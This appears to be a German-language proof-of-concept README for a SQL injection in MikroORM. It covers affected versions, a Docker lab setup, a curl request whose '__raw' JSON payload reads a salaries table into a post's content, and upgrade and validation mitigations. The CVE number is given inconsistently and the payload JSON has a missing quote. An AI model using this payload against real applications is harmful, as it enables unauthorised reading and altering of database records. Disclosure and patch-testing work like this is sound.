
CVE-2026-34220 — Updated!
SQL-Injection-Schwachstelle in MikroORM
CVE-2026-43220 MikroORM SQL-Injection
★ CVE-2026-43220 MikroORM SQL-Injection PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
Übersicht
CVE-2026-43220 ist eine SQL-Injection-Schwachstelle in MikroORM, einem weit verbreiteten TypeScript/Node.js-ORM-Framework.
Wenn ein benutzerdefinierter Wert, der eine__raw-Eigenschaft enthält, ohne Validierung an eine Custom-Type-Spalte übergeben wird, identifiziert MikroORMsisRaw()-Prüfung ihn als vertrauenswürdigen internen Raw-SQL-Ausdruck und fügt den vom Angreifer kontrolliertensql-Wert direkt in die generierte Abfrage ein – ohne Typkonvertierung oder Bereinigung –, was zur unbeabsichtigten Ausführung beliebigen SQLs führt.
Betroffene Versionen
| Kategorie | Version |
|---|---|
| Anfällig | MikroORM Version ≤ 6.4.3 & 7.0.0 ≤ Version ≤ 7.0.5 |
| Gepatcht | MikroORM 6.4.4 & 7.0.6 |
Auswirkung
- Exfiltration sensibler Daten aus der Datenbank ohne Autorisierung
- Korruption oder unbeabsichtigte Modifikation bestehender Datenbankeinträge
Umgebung
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
PoC
Nach dem Start der anfälligen Umgebung folgen Sie den untenstehenden Schritten, um den Angriff zu reproduzieren.
Schritt 1. Senden Sie eine Anfrage mit einer bösartigen Payload, die __raw enthält
Senden Sie einen JSON-Body, der eine __raw-Eigenschaft enthält, die auf eine Custom-Type-Spalte abzielt.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Schritt 2. Überprüfen Sie die HTTP-Antwort
Vergewissern Sie sich, dass die API eine erfolgreiche Antwort ohne Fehler zurückgibt, was darauf hindeutet, dass MikroORM die bösartige Payload als gültigen Wert akzeptiert hat.
Schritt 3. Bestätigen Sie, dass sensible Daten in den Post-Inhalt exfiltriert werden
Vergewissern Sie sich, dass das content-Feld des erstellten Posts das Abfrageergebnis
aus der salaries-Tabelle enthält (z. B. Alice: 5000 / Bob: 7000 / ...),
was bestätigt, dass Daten aus einer nicht zugehörigen Tabelle still und leise
in die Antwort eingebettet wurden – ohne Fehler oder Verletzung der Zugriffskontrolle.
Gegenmaßnahmen
- Aktualisieren Sie auf MikroORM 6.4.4 oder höher, wodurch eine Origin-Verifikation in
isRaw()eingeführt wird, um extern bereitgestellte__raw-Eigenschaften abzulehnen - Wenden Sie eine Whitelist-basierte Eingabevalidierung an, um unerwartete Eigenschaften wie
__rawabzulehnen, bevor Werte an die ORM-Schicht übergeben werden